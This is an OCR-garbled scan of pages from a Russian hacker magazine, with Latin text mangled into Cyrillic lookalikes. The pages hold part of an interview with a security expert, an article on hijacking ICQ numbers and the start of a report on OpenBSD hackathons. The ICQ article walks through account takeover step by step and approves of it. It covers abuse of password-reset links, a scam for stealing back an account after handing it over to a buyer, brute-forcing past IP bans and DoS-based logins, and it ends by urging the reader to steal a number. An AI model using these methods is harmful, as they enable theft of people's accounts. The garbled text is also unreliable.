тельно грамотных экспертов по безопаснос- 
ти, которые: 1 ) могут рассказать что-то ин- 
тересное, 2) имеют время, чтобы поехать на 



конференцию, 3) умеют увлекательно подать 
свой доклад. 

тіпсІѵѵОгк: Если произойдет своеобразный 
"мортал комбат": сертифицированный ІТ- 
специалист ѵз. хакер-энтузиаст, живущий 
одними компьютерами, на кого ты поста- 
вишь? :) Смог бы ты взять на работу моло- 
дого компьютерного гения, который даст 
фору всем вашим специалистам, но который 
не имеет ни записей в трудовой, ни ВО? 

АЛ: На первый вопрос однозначного ответа 
нет. Если ИТ-специалист прикрывается бу- 
мажкой, за которой ничего нет, то энтузиаст, 
конечно, выиграет. Но если у них уровень 
примерно одинаков, то проиграет тот, кто 
первым сделает ошибку. Ставки делать я не 
буду, я не азартен ;-). Ответ на второй воп- 
рос зависит от множества факторов: на ка- 
кую должность претендует молодой "гений", 
в какую компанию он намерен устроиться, 
сможет ли он работать в команде. В неболь- 
ших конторах такого "гения" примут с расп- 
ростертыми объятиями. А вот в крупной, тем 
более, западной компании, он может поп- 
росту не пройти по формальным признакам. 
Будь он семи пядей во лбу, его могут отсе- 
ять еще на этапе собеседования с менедже- 
ром по кадрам. К сожалению, кадровик (их 
сейчас модно называть директорами по пер- 
соналу) ни бельмеса не понимает в ИТ и тем 
паче в зесигііу, он не сможет распознать в 
молодом пареньке без корочки и галстука 
гения. И тот обижается, начинает мстить... 

Но это уже другая история. 

тіпсІѵѵОгк: Какие компьютерные сертифика- 
ты считаются самыми престижными? Какие 
из них дают реально полезные знания, а ка- 
кие больше помогают как галочка в резюме? 
АЛ: В безопасности сейчас бум на сертификат 
СІ55Р. Но я не разделю оптимизма по поводу 
важности как этих бумажек, так и вообще сер- 
тификации. Сертификат - это всего лишь кусок 
бумаги или пластика, который свидетельствует, 
что вы ответили на ряд вопросов теста. Т.е. они 
оценивают ваши знания, а не опыт, который и 
является мерилом квалификации специалиста. 
Во-вторых, сертификация - это не более чем 
потакание своим "низменным" инстинктам: 
тщеславию, карьеризму и т.д. Хороший специа- 
лист и без сертификата найдет себе работу. А 
плохому и сертификат не поможет. К сожале- 
нию, в России сейчас нет ни одной схемы сер- 
тификации, которая могла бы оценить именно 
опыт, а не знания испытуемого. На западе есть 
ОІАС, где вы должны решить ряд серьезных за- 
дач и поучаствовать в лабораторных работах, 
прежде чем вам выдадут заветную бумагу. Ана- 
логом такой схемы является сертификация 
Сізсо. Замечательно было бы, если бы в России 
появилась такая система, но пока, увы... 

тіпсІѵѵОгк: На протяжении многих лет про- 
изводители выпускают "защиты, которые не- 
возможно взломать". И всегда их ждет одна 
участь. Возможно ли вообще создать такую 
защиту? И какой она должна быть в теории? 
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■ Я ХОЧУ ПОЛУЧАТЬ БЕСПЛАТНЫЙ 

■ КАТАЛОГ РС АКСЕССУАРОВ 



ИНДЕКС _ 
УЛИЦА _ 



ОТПРАВЬТЕ КУПОН ПО АДРЕСУ: 101000, МОСКВА, ГЛАВПОЧТАМТ, А /Я 652, Е-ЗНОР 




АЛ: Я как-то написал статью, в которой развеивал миф об 
абсолютной защите. Пока системы создаются людьми, абсо- 
лютной защиты быть не может. Ведь человек - это очень сла- 
бое во всех смыслах существо, которому свойственно оши- 
баться. И средства защиты не являются исключением. 

Нет ни одной системы на рынке, лишенной каких-либо дыр. 

И даже если такую систему кто-нибудь когда-нибудь создаст, 
где гарантия, что настраивать ее будет грамотный админ? 

В последнее время наметилась тенденция создания самона- 
страивающихся систем защиты, но проблема далека от реше- 
ния. К тому же нельзя забывать, что на атаки еще надо как-то 
реагировать. А без человека это практически нереально. 
Человеческий фактор, как и раньше, решает все. 

тіпсІѵѵОгк: Насколько сложно поймать хакера? Как происхо- 
дит процесс "ловли" в нашей стране? Насколько подготовле- 
ны наши "антихакеры" (тот же отдел К) к противодействию 
компьютерным преступникам? 

АЛ: Дело не в сложности, дело в квалификации. Если безо- 
пасник опытен, то ему не составит труда загнать хакера в ло- 
вушку и собрать доказательства его противоправной деятель- 
ности. Другой вопрос, что в России таких специалистов по 
пальцам можно пересчитать. И многие из них уходят из МВД, 
так как жить впроголодь, за идею, могут не все. К сожалению, 
у нас нигде не готовят специалистов по расследованию инци- 
дентов и поимке хакеров. Обычно учат юридическим аспек- 
там этой деятельности: как расколоть, как доказать вину, как 
оформить ордер на обыск и провести экспертизу. Хочется на- 
деяться, что со временем у нас появятся грамотные "антиха- 
керы" не только в МВД, но и в других спецслужбах. 

тіпсІѵѵОгк: Интересуешься ли ты компьютерным андеграун- 
дом? Кого из русских хакеров/хак-групп ты бы отнес к наибо- 
лее опасным? 

АЛ: Интересуюсь постольку поскольку. Бывает интересным 
посмотреть на сделанные ими дефейсы ;-). Периодически по- 
сещаю андеграундовые сайты. Но действительно серьезные 
группы обычно не светятся и не рекламируют ни себя, ни 
свои проекты. 

тіпсІѵѵОгк: Доводилось ли тебе общаться с "крутыми" компь- 
ютерными взломщиками? Если да, какое впечатление оставила 
эта встреча? Какую характеристику ты бы им дал? 

АЛ: Моя профессия не позволяет "крутым" взломщикам об- 
щаться со мной ;-). Я общаюсь с людьми, которые серьезно 
занимаются безопасностью и могли бы стать великими 
взломщиками, но они к этому не стремятся. Если брать изве- 
стную классификацию, то все они "ѵѵбііе баГ. "ВІаск баі" ос- 
таются вне поля моего общения. 

тіпсІѵѵОгк: Лично меня интересует твое мнение о нашем 
журнале :). Находишь ли ты в нем интересную для себя ин- 
формацию? Считаешь ли ты, что мы приносим пользу, или 
все-таки взращиваем новое поколение скрипткиддисов? 

АЛ: Я являюсь подписчиком ][ уже не первый год. Но он ме- 
ня интересует не с точки зрения получения информации по 
безопасности - ее я получаю немного раньше выхода журнала 
и по другим каналам. У ][ есть ряд достоинств, которые меня 
привлекают. Во-первых, это раздел Сцена, в котором много 
интересного из истории зесигіТу. Интересны также разделы 
РС 2опе и Юниты, т.к. там публикуются описания интересно- 
го и порой очень нужного в работе софта. 

тіпсІѵѵОгк: Какое из всех компьютерных зол (спам, хак-ата- 
ки, вири и т.п.), по твоему мнению, в ближайшие 10 лет ста- 
нет самым актуальным? 

АЛ: Гибридные угрозы, совмещающие в себе сразу несколько 
вариантов распространения (мейл, ІВС, Р2Р, шары, дыры в 
сайтах и т.п.). Но это произойдет гораздо раньше. На 10 лет я 
бы не стал загадывать. Если уж межсетевые экраны прошли 
такой путь развития всего за 14 лет своего существования, то 
мне трудно представить, до чего дойдет хакерская мысль в те- 
чение следующих 10 лет. 
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увак, ты помнишь свой уин? Если да, то либо у тебя отменная память, либо короткий легко запоминающийся номер. В этой статье 
я расскажу тебе о людях, благодаря которым стало возможным иметь такие номера. И о таком малоизвестном сообществе, 
как ІСІНакеры. 




псечники раскрывают свои секреты 



л 



А НОМЕРЯ - НЕ РОСКОШЬ, 

С П СРЕДСТВО 

егодня шестизначная аська - 
уже не роскошь, а средство 
передвижения по Сети многих 
уважающих себя хакеров. 
Правда, из-за некоторых лич- 
ностей, расписавших на паль- 
цах, как достать короткий уин, 
купить красивый номер сейчас можно за ко- 
пейки. Но об этом - позже. 

Редкостью является 5-значный номер 
аси, количество которых в базе сервера 
составляет вовсе не 90000, как подсказы- 
вает математика, а не более 2 тысяч. Да и 
те официально выделяются работникам 
АОб и Мігабіііз. Красть у них номера - дох- 
лый номер. "Почему, ведь от пятизначек 
пароли не высылаются?!" (см. врезку) - 
наверняка спросишь ты. Я тебя огорчу: так 
как люди работают в ІСО, то и возможнос- 
тей у них больше, чем у нас с тобой. Сме- 
нить пароль им не составит труда. Так что 
спокойно сидеть на пятизначках долгое 
время было обломно. Но хакеры не сдава- 
лись, и 23.03.2001 человек с ником 
Зрасоот... Впрочем, для этого нужно вы- 
делить целую главу. 



А ХОЧЕШЬ ПЯТИЗНЯЧКУ? 
РЕГПКІСД НЕВІКТН! 

С помощью двух других русских парней, 
ЗІат'а и М@з1ег'а, Зрасоот нашел способ 
оживлять любой несуществующий уин, после 
чего прибрал к рукам несколько тысяч пя- 
тизначек и не меньше шестизначек. Практи- 
чески одновременно с ним известный 
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Есть ли загробная жизнь? Благодаря этой проге, 
у уинов она была :) 



шведский хакер аб4 (иии.81Іі-иоп(Іег.пеІ) нашел 
тот же баг и выпустил в массы программу 
ІСО ВеЫПб, его использующую. Сомнитель- 
ный поступок. За выходные, пока работники 
саппорта Мирабилиса прохлаждались, рядо- 
вые юзеры разобрали чуть ли не все пятиз- 
начные номера. Естественно, в понедельник 
этот беспредел закончился. Уины поубивали, 
а багу прикрыли. Она, кстати, была до безоб- 
разия простой: достаточно залогиниться с лю- 
бым 10-значным паролем. Просто подарок! :) 
Эта история имеет продолжение. 27 июня 
2002 года ни с того ни с сего около 500 10- 
тысячных (10***) пятизначек вдруг ожили. 

К ним снова стали подходить старые Спако- 
вские пароли, и, надо сказать, номера живут 
по сей день. Купить один из них можно на 
ісціпіо.ги за 150 убитых енотов. 

.іа$$аш-псЕчныйіінар 

Знаешь, почему сейчас 6-значка есть чуть 
ли не у каждого семиклассника, который 
потратил лишнюю пару часов на поиски 
халявы в форумах? Есть такой информаци- 
онный портал, посвященный ІСО - азесітка.ги 
(бывший Шр://ісч.ѵ$осІіі.сопі). Само ласковое 
название уже говорит о том, что асю здесь 
любят и уважают. Хотъ и хакают во все дыры :). 
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ІСО'ШНПЯ ХПКСЦЕНП 



ІСО ВЕТНІЕНШ ЗѴ8ТЕИ 

М ногие на самом деле не знают, как работает система отсыл- 
ки забытого пароля, и задают глупые вопросы на форумах. 
Так вот, как заверяют нас работники Мирабилиса, пароль высы- 
лается на любой почтовый адрес, который вводился в детали 
уина с 1 сентября 1999 года (именно тогда сервис заработал). 
Но после того как пароль будет выслан на почту, все позже вве- 
денные адреса станут непригодными. Попробуй представить 
дерево с 6 ветками. Верхняя ветка - это самый первый ящик, ко- 
торый ты вводил в инфу о пользователе - росИ1а1@таіІзегѵ- 
егі .ш. Через год, допустим, у тебя сменился ящик, и ты проап- 
дейтил свое мыльное инфо до росб1а1@таіІзегѵег2.ги. А совсем 
недавно изменил адрес уже в шестой раз: росН1а6@таіІзегѵ- 
егб.ги. Если ты еще ни разу не высылал пароль отданного номе- 
ра аси, то ты можешь воспользоваться любым из ящиков. Толь- 
ко когда ты "работаешь" с определенным ящиком, то, начиная с 
него, руби на дереве все ветви сверху вниз. Выслав по неосто- 
рожности пароль на самый старый ящик, который у тебя уже не 
работает, ты рискуешь потерять свой уин навсегда (привет, пікі- 
І 0222 ! ;)). Поэтому юц-хакерами ценятся самые старые базы за 
1999 год, содержащие уин и мыло к нему. На пятизначки систе- 
ма ретрайва не распространяется, так что счастливые облада- 
тели таких уинов в какой-то мере саперы. 



СЕКРЕТ 1: УДППЕНИЕ РШМЯВѴ Е-МЯН 

Я далить праймари нельзя, пароль всег- 
да будет слаться на более старое мы- 
ло, что обычно и обламывает брутфорсе- 
ров уинов. Но летом 2003 года твой по- 
корный слуга и его болгарский друг [еіііе] 
нашли способ проделать эту нужную про- 
цедуру. Перво-наперво мы поставили на 
номер пароль с "нестандартными" симво- 
лами, чтобы в письме с напоминанием 
"забытого" пасса появилась ссылка на его 
сброс. Потом сделали ретрайв, бережно 
сохранив ссылочку из письма. Теперь 
нужно было удалить номер. Официально 
это сделать нельзя, но ведь всегда есть и неофициальные спо- 
собы :). Дело в том, что злые дядьки из Мирабилиса жестоко 
расправляются со спамерами и хакерами, убивая и баня их но- 
мера. Если в юзеринфо ввести мыло из "черного списка", уин 
тут же киляется. Вот мы и ввели мыло 
русского хакера ѴКЕ - ѵке@ѵке.ги. Но- 
мер удалился уже через 5 минут, и на 
помощь пришла припасенная до луч- 
ших времен ссылка. Пароль сменил- 
ся, а уин вновь ожил, но уже без ста- 
рой истории всех мыльников. За два 
дня работы от примаков были отвяза- 
ны кучи красивейших номеров, кото- 
рые впоследствии прочно обоснова- 
лись в России. 
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Болгарские закадычные друзья - 
Еіііе и Раіиги (справа) 



ь, 




Еіііе позирует в футболке с 
официальным аватаром ѴКЕ 



Именно на этих, лучших в своем роде, стра- 
ницах, не без помощи кодерской мысли 
А1е22апбге, родилась программа АззаиІІ. Она 
умела сканировать диапазоны номеров и 
сохраняла найденную информацию в файл. 

В том числе е-шаіі адрес, зарегистрировав 
который, можно было поиметь сам уин. Сме- 
калистые юзеры сразу начали собирать байт 
за байтом всю базу шестизначных номеров и 
втихаря снимать кучи уинов. Через некото- 
рое время работники Мирабилиса спохвати- 
лись и ввели защиту: после 50-100 запросов 
возможность поиска уина на несколько ми- 
нут блокировалась. Ассаулт стал непригод- 



ным для долгого сканирования, в выигрыше 
остались те, у кого сохранилась заветная ба- 
за на харде. Чем древнее, тем лучше. Один 
из ее счастливых обладателей, Ѵогбік, сде- 
лал, как тогда казалось, доброе дело - выло- 
жил список в массы (ита$есІіка.ги/Ьа$е). Вско- 
ре этот поступок привел к небольшой ката- 
строфе - "ІСО-хакеры" расплодились как 
грибы и начали шустренько таскать уины, 
зачастую друг у друга. Ведь для того чтобы 
зарегить или сбрутить тот или иной мыль- 
ный ящик, много ума не надо. 

В начале июня 2003 года МігаЬІІіз снова 
обломала всех асечников. Начиная с этого 




дня, е-таіі адреса в инфе номеров перестали 
показываться вообще, даже если опция "бібе 
е-таіі" не была активирована. Вероятно, это 
был шаг по борьбе со спамом. Но открою не- 
большой секрет - защиту в некоторых случа- 
ях можно обойти. Просто используй поиск не 
по уину, а по деталям (піскпате, Іігзі пате, 
Іазі пате и т.д.). Кстати, Ассаулт тоже "ви- 
дит" почту в деталях уинов, т.к. работает на 
старом протоколе. Вот что сам Алеззандре 
любезно поведал нашему журналу: 



ІСО Нізіогу І_од Рог: 

73733773 алез 

ЗіагіесІ оп Заі Арг 24 16:09:42 2004 



И: Итак, кто же скрывается за ником 
АІеТІапбге, и почему ты решил написать та- 
кое софтварное чудо, как Ассаулт? 

а: Я русский студент, зовут меня, как ни 
странно, Саша :). Аеькиным миром интересу- 
юсь с 18 лет, благодаря одному из лучших 
друзей Зігапіх'у. Идея написать Ассаулта 
пришла, когда мы с другом поняли, что му- 
чить вайтпаги ручками и наугад - неблагодар- 
ное занятие. Решили составить список и авто- 
матизировать процесс. Так прога и появилась. 

И: Расскажи о процессе создания своего 
продукта. Как выглядела первая версия Асса- 
улта? На чем он был написан и откуда берет 
свое название? Почему бедный студент отка- 
зался от идеи сделать программу платной? :) 
а: С названием я особо не заморачивал- 
ся. Открыл словарик и выбрал там одно ру- 
гательство. Мой выбор пал на слово Штурм 
- АззаиІІ. И никакой связи с Азз название не 
имеет! Первая версия (1.0. 0.0) была написа- 
на через ту самую азз - сразу после ново- 
годних праздников, что явно повлияло на 
процесс. Это был сплошной баг и недоразу- 
мение, так как руки у меня были кривые, 
ужас просто :). Ассаулт работал путем интег- 
рации в ІЕ, скачивал с сайта сц.сот/ѵѵітііерадез/ 
страничку с инфой номера и работал с пот- 
рясающей скоростью 7 уинов в минуту :). 
Основывалось тогда все на ІЗЕЕКЕМАИ. По- 
том я выучил, что такое сокет, и написал то 
же самое, только без применения противно- 
го мелкомягкого осла. Плюс оптимизировал 
код на предмет анрегнутых уинов и распре- 
деления трафика. Прогресс было налицо: 
10-13 уинов в минуту. 

И: Ясно, но такой скорости ведь недоста- 
точно, чтобы собрать много уинов, да? 

а: Именно. Но сначала меня устраивал и 
такой результат. С января по апрель 2002 
года мне удалось прошерстить около 1 00 
тысяч номеров. Дальше было страшно :). 




л ѵѵш/.азесііка.ги - 
лучший интернет- 
ресурс, посвящен- 
ный ІСО. Здесь 
можно подобрать 
на вкус и цвет один 
из многочисленных 
ІСО-клиентов, ска- 
чать полезные 
программы, почи- 
тать умные статьи 
и, наконец, задать 
вопрос на форуме, 
насчитывающем бо- 
лее 5 тысяч юзеров. 




л ііисі.ги - дом, ко- 
торый построил 
Спак. Здесь живет 
брутфорс ІРОВгиіе 
и еще несколько 
проектов ѴКЕ и 
Зрасоот'а. 
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После того как число угнанных уинов пере- 
валило за 300, я понял, что они на фиг нико- 
му не нужны. Но идею не забросил. Как ты 
верно подметил, скорость была ни к черту, 
поэтому я принял единственно верное реше- 
ние - действовать через протокол аси. Мой 
друг, который независимо от меня занимал- 
ся тем же, но на другом языке программиро- 
вания, надыбал в инете библиотеку, реали- 
зующую протокол. Загвоздка была в том, что 
она на тот момент только-только переписы- 
валась с пятого на седьмой протокол, и в 
ней не было пакета для просмотра деталей 
уина. Так что некоторое время недоделан- 
ный Ассаулт висел в воздухе. И вот, одним 
прекрасным апрельским утром, в пятницу, 
как сейчас помню, эта либа была написана! 

Я с 9 утра до 1 1 вечера просидел за компом 
и родил Ассаулт 3 :). За весь следующий 
день с помощью кое-как работающей треть- 
ей версии мы собрали всю базу 6-значек! 

И: Да, скорость впечатляет, согласен :). 
Мы как раз подошли к моменту выкладыва- 
ния софта в Сеть. Почему проект был неком- 
мерческим? 

а: Ответ прост: мне не хотелось, чтобы 
русские люди напрягались с поиском кряка, 
а вместо этого сразу юзали софтину. Я на- 
писал статью об Ассаулте и выложил ее на 
асечке.ру. Сразу после этого ко мне стала 
ломиться куча народу и предлагать за еще 
не зарелизенную прогу кучу всего интерес- 
ного, кроме денег. Я догадывался, чем все 
это может закончиться, и расшаривать ска- 
нер не спешил. Но потом один человек вы- 
ложил на форуме линк на библиотеку, кото- 
рую я использовал, а найти ее было ой как 
непросто. Тогда я и решил выложить свою 
софтину на паблик. В первую же неделю Ас- 
саулт скачали более 2000 человек. 

И: А сейчас видишь, к чему привело твое 
детище? 

а: Вижу, конечно. В принципе, поэтому я 
так и не выпустил прошлым летом 4 версию, 
которую все так ждали. Хотя ГУИ был готов. 
Лови мылом, специально для вашего журнала. 
Эксклюзив, так сказать :). В четвертой версии 
много нововведений, в том числе многопоточ- 
ный фильтр *.іпі файлов. Я сожалею, что из- 
за моего необдуманного поступка сейчас сот- 
ни ламеров сидят на шестизнаках, иметь кото- 
рые пару лет назад считалось элитным. Но ес- 
ли бы не я, наверняка рано или поздно подоб- 
ное написал бы кто-то другой. 

Л охота за пятизначкпии 

В сентябре 2003 года наши ісц-хакеры от- 
воевали 521 пятизначный уин в свободное 




использование. Были восстановлены так 
называемые зомби-номера, на которых по 
не понятным никому причинам пропали па- 
роли. Первым это дело в апреле того же 
года заметил болгарин [еіііе] с приятеля- 
ми. Он нашел способ менять информацию 
о пользователе у зомби-уинов (менять 
можно было только один раз) и попросил 
своего друга МШНАОВ написать програм- 



му. Через 3 дня на всех этих уинах висели 
красноречивые лозунги "баскеб Ьу ѵоѵа, 
как тпе Іг.огозбо", "Виідагіа оѵѵп? уа" и так 
далее. Главный облом был в том, что пол- 
ноценно пользоваться пятизначками было 
нельзя. Чтобы проверить, является уин 
зомби или нет, нужно было через ѵѵіл/ѵѵ.ісц- 
таіі.сот залогиниться с паролем В слу- 
чае успешного входа становилось ясно, что 



секрет 2 : роковой пароль 

П опробуй поставить в качестве пароля для своей аськи слово, 
начинающееся на русскую маленькую "у". Например, 
"уе...хал". Теперь переконнекться. Ой, прости, забыл сказать: 
теперь этот номер для тебя потерян :). Дело в том, что протоко- 
лы аськи выше 5 версии собраны таким образом, что номер бук- 
вы "у" из А5СІІ таблицы (243) при сложении со специальной пе- 
ременной дает 0, что и вгоняет асю в ступор. Выходом из поло- 
жения раньше были старые версии аси (98, например), работа- 
ющие на 5 протоколе, или спецпрограммка для смены пароля - 
Эепх. Но полгода назад этот спасительный протокол прикрыли. 
Аську теперь можно восстановить, только если есть доступ к 
почтовому ящику. В полученном письме ретрайва просто клик- 
ни на ссылку генерации нового пароля. Но что делать, если зай- 
ти на мыло не представляется возможным? Или если ты поха- 
чил пятизначку и поставил на ней пароль на "у"? Раскрываю сек- 
рет, о котором на момент написания статьи знают не больше 5 
человек в мире. После интеграции ІСО и АОІ_'а пароль можно 
поменять, посетив страничку М((рз://аіт.аоІ.сот/разз- 
ѵѵогсІ/ра55ѵѵогс1_ргос. асір . 



СЕКРЕТ з: шяпкя-невидимкя ря пси 

Х очешь сделать так, чтобы твой уин не находился поиском? 

Т.е. люди будут думать, что он удален. Придется регистриро- 
вать свежий номер, так как с текущим проделать операцию не- 
возможно. Когда ІСО сообщит тебе, что новый номер получен, 
ни в коем случае не выводи ІСО в онлайн! Сразу тыкай в офлайн 
и закрывай ее на фиг. Теперь мы имеем новый уин, вполне ра- 
ботоспособный, с него можно материть друзей, можно гово- 
рить комплименты подружкам, можно получать ответы. Но по- 
иском он не ищется и в стандартном аськином клиенте тебя 
никто не сможет добавить в контакт-лист :). Используй этот но- 
мер любыми альтернативными клиентами (&ВО, Мігапсіа, 
ТгіІІіап, ІС02до), только не стандартной асей. Если вылезти в он- 
лайн ею родимой, то пошлется спецпакет на сервер, и номер 
появится в базе ѵѵИНерадез. 



СЕКРЕТ 4: ЭТО РПЖЕН знать каждый 

Н ачиная с версии 2002, ІСО активно борется со спамом. Надо 
сказать, чересчур активно. В директории БаШРПез находится 
файл апбзрат.хті, который регулярно обновляется через инет 
без спроса юзера. В нем содержится список "спамерских" сло- 
вечек, и если одно из них окажется в присланном письме от че- 
ловека не из контакт-листа, письмо блокируется. Ничего полез- 
ного в этом нет. Ты не сможешь получать ссылки Гійр/йр (ведь 
часто не хочется кого-то просто так добавлять) и вообще мно- 
гие полезные мессаги. В черный список добавили такие необ- 
ходимые в повседневном общении слова, как ѵѵебтопеу и зех 
(куда ж в нашей стране без секса? Да еще и за вебмани :)). К 
слову сказать, мой ник (Гіі пі) за определенные заслуги туда то- 
же попал :). Бороться с этим так: закрываешь ІСО, очищаешь 
файл до 0 байт, делаешь его рид-онли. Теперь к тебе будут при- 
ходить абсолютно все письма. 
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ІСІГШНПЯ ШСЦЕНП 



секрет 5: как бензин всех одурачил 

Б ыл такой кидала на форуме асечки - Бензин. Он брал у про- 
давцов пароль от аськи "на проверку" и обещал после этого 
заплатить. Доступ к мылу он не просил, поэтому селлеры актив- 
но велись и соглашались. Через какое-то время убеждались, 
что платить Бензин не намерен, и забирали уин назад. Но потом 
номер каким-то образом вновь оказывался у подлеца. Весь фо- 
рум был в недоумении. Я включил свое серое вещество и стал 
думать, как такое может быть. Как часто бывает, баг заключался 
в нелогичности, которая могла быть найдена только случайным 
путем. Вот алгоритм: 

О. Просим у друга на пару минут красивую аську, типа "сделать 
скриншот на память" ;). 

Ѳ. Ставим пароль из нестандартных символов, например, рус- 
ских букв. 

О. Вписываем новое мыло в ргітагу е-таіі и высылаем туда па- 
роль. На почту приходит письмо, содержащее ссылку генера- 
ции пароля. В нормальных условиях ссылка зависит от правиль- 
ного пароля и работает только один раз. Но разработчики про- 
екта восстановления пароля, видимо, не подумали о следую- 
щем (читай дальше). 

О. Высылаем пасс на более раннее мыло (взяв его, например, 
из общедоступной базы), тем самым удаляя из ветки примаков 
мыло, введенное в пункте 1 . 

О. Отдаем аську обратно. Теперь ее хозяин поменяет пароль и 
сделает то же самое, что мы проделали в пункте 4. 

Итак, что мы имеем. Владелец аси выслал себе пароль и уве- 
рен, что ты никак не сможешь его заполучить. Лолики :). Просто 
кликни по ссылке из письма, и пароль сменится на новый. Один 
нюанс - ссылка многоразовая (!) в отличие от аналога, получен- 
ного в обычных условиях, но работает только 24 часа. Поэтому, 
чтобы окончательно замучить бедную жертву, каждый день про- 
делывай эту операцию снова и снова. 




Если видишь этот логотип, знай - где-то поблизости ѴКЕ 



номер без пароля - зомби, и сразу зано- 
сился в базу. Ковыряясь в протоколе, моск- 
вич Рагиги нашел кое-что интересное. На 
форуме асечки появились волнующие топи- 
ки, мол, снова что-то не то творится с пя- 
тизначками. А это Сашок (риалнейм 
Рахих'а), оказывается, прикарманил себе 
все зомби и радовался. Чтобы воспользо- 
ваться новым багом, нужно провести 
ОРоЗ-атаку, после чего на беспаролевый 
уин можно зайти и поставить новый пас- 
сворд. Такие уины сейчас продаются по 
$80-150 на заіе.азесбка.ги. 



ет множество потоков, которые через прок- 
си соединяются с сервером и шлют пакет 
логининга уина. ІРРВгиІе - первый пол- 
ностью функциональный брутфорс, быстро 
подбирающий пароли и ловко обходящий 
все препятствия, расставленные техперсо- 
налом ІСО (бан одного ІР-адреса после трех 
попыток логина, а иногда даже блокировка 
на несколько минут самого уина). Благодаря 
этой программке, еще несколько сотен ты- 
сяч уинов сменили своих владельцев. 
ИПДбрутом пользуются все, в том числе пе- 
чально известные турецкие хакеры. Ско- 
рость подбора пароля на хороших хостах 
может достигать более 1 00 паролей в се- 
кунду, поэтому, если у тебя красивый номе- 
рок, задумайся, может, самое время сме- 
нить цѵѵегіу на что-то поизощреннее :). Под- 
бор всегда идет по словарю: это либо вы- 
борка красивых уинов на один/несколько па- 
ролей, либо вообще массовое сканирование 
шестизначек на глупый паев. МЛУша (так 
ласково называют ѴКЕ друзья) сам не по- 
дозревал, что на пару с А1е22апбге превра- 
тит аську в игрушку для ламеров... 




Потрошитель зомби-уинов Рагиді в реальной жизни вполне милый человек со сво- 
ими заботами. На этой фотографии забота - справа :) 



Л ТКЕ ЕНД 

Надеюсь, я хоть немного прояснил ситуа- 
цию, кто на самом деле - ІСО-хакер, а кто 
просто мимо проходил. И ты, узнав, что у 
твоего сокурсника Васьки аська числится 
под номером 897333, не станешь от зависти 
выкатывать глаза, а соберешься с силами и 
угонишь себе 666666. Гуд лак! ;) ~=Г~ 




Хочешь увидеть свои советы в журнале? 
Присылай их на адрес 5кІуагоѵ@геаІ.хакер.ги. 
Ведущий рубрики Тір$&Тгіск$ Иван Скляров. 



л Надоело лазить к Диспетчеру устройств (Леѵісе 
Мападег) в ИТ-подобных системах через Мой Компью- 
тер, Система и тому подобную шнягу? Тогда просто до- 
бавь ярлык %шбіг%\$у$1елі32\піпіс.ехе (пробел) 
%™біг%\$у$1ет32\беѵтдт1.т$с (пробел) /$ и запус- 
кай когда понадобится! А как насчет служб? Вез проб- 
лем! %Зу$іепіКооІ%\$у$Іепі32\$егѵісе$.пі$с (пробел) /$, 
рабочая папка - %$у$іепіКооі%\$у$іепі32\. И все, служ- 
бы теперь у нас под контролем! 

Ріаіішші 

ріаііпгшгфааапеі.ги 



-ІІРОВВЛТЕМРИШКЯ 
ДЛЯ ЛИКЕРОВ 

1 июля 2002 года ѴКЕ из Калининграда вы- 
пустил в свет первую версию ІРОВгиІе - пе- 
реборщика паролей к аськам. Сейчас он уже 
работает в новом обличии - версии 2.0. 
ЮРВгиІе, используя протокол ІСО, открыва- 



1 1 июля 2002 года ѴКЕ из Калининграда 1 

выпустил в свет первую версию ІРОВгиІе - 
т переборщика паролей к аськам. т 



85 






не раз слышал о хакерских тусовках, таких как ОеІСоп. Где собираются все, кому не пень проехать пару тысяч 
і потусить среди известных зесигііу-пиппов. Но знаешь пи ты о том, как проходят встречи девелоперов самых секурных 
ОрепВён. Ведь они тоже не брезгуют живым общением и с удовольствием готовы выпить банку-другую пива в 
обществе друг друга. О том, как и где тусят кернеп-хакеры, читай ниже. 




В80 - ВЕПІІТІЕІЛ. 8ЕЕЕ-ИП0Е ВЕРШ 



репВЗО - самая известная 
своей безопасностью и надеж- 
ностью система. Ее разработ- 
чики подарили миру не только 
непробиваемую серверную 
ось с интегрированными крип- 
тографическими средствами, 
но и свободную реализацию 
протокола ззб - ОрепЗЗН. А также лучший, 
по мнению многих, свободный пакетный 
фильтр РР. Очевидно, что над ОрепВЗО 
работают истинные хакеры. И символ 
ОрепВЗО - злая шипастая рыбка фугу по 
кличке РиТТу - как нельзя лучше подчеркива- 
ет хакерскую натуру этой операционки ;). 

Было бы странно, если бы девелоперы 
такой хакерской операционки не встречались 
в неформальной обстановке. Начиная с 1999 
года, каждой весной несколько десятков ха- 
керов, составляющих ядро разработчиков 
ОрепВЗО, собираются в одном из канадских 
городов на недельку-другую для того, чтобы 
с пользой провести время и отдохнуть. Это 
действо называется ОрепВЗО Наскаібоп. 

В отличие от других подобных мероприя- 
тий, зесигііу-эксперты здесь не читают док- 
лады, и никто никого не арестовывает ;). 
ВЗО-хакеры собираются, главным образом, 



плотно поработать, обсудить будущее 
ОрепВЗО. Мозговой штурм баскаібоп’а 
приносит свои плоды - во время совмест- 
ной тусовки разработчиков в исходном коде 
ОрепВЗО происходит больше всего значи- 
тельных изменений, появляются новые фи- 
чи, правятся баги. Многие вещи, впослед- 
ствии воплощенные и доведенные до ума, 
берут начало именно здесь. Время года 
(весна) тоже выбрано неслучайно - свежий 
релиз ОрепВЗО выходит два раза в год, 
обычно в конце весны и осени. Многое из 
того, что нахакали девелоперы во время 
баскаібоп'а, включается в новую версию. 

Первая встреча прошла в 1999 году, тогда 
съехались всего 10 разработчиков. В 2000 
году их было уже 18. Оба раза ребята соби- 
рались в Калгари - родном городе Тео де 
Раадта. Чем именно там занимались мате- 
рые хакеры, доподлинно не известно, но 
можно предположить - тем же, что и в пос- 
ледующие годы: пили пиво, писали код, рас- 
суждали о будущем ОрепВЗО. Эти встречи 
не освещалась на страницах езинов, после 
них не осталось фотографий. По-настояще- 
му массовым событием хакатоны стали с 
2001 года, когда в рамках с2к1 баскаОюп 
съехались 36 разработчиков ОрепВЗО. 





Л 2001 ГОП. КЕМБРИДЖ, ИЮНЬ. 
вршингтЬн, РВГУСТ 

В 2001 году проводилось два хакатона: 
в Кембридже и Вашингтоне. Всеобщая ту- 
совка собрала 36 человек, а 1 2 посетили 
столицу США. Народу понравилась идея съ- 
езда в многочисленном, но близком кругу. 
Ведь все друг друга знали по общению 
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как тусят КЕРНЕП-макЕРЫ 



истоки 

9 истоков проектов ОрепВЗЭ и ОрепЗЗН стояли известные ха- 
керы-разработчики ТІтео сіе ВаасИ и Эйд Зопд (тот самый, ко- 
торый написал популярный снифер бзпіТТ). Предшественником 
ОрепВЗО была свободная ЫеІВЗЭ. В 1994 году ТІтео Фе ВаасІІ, 
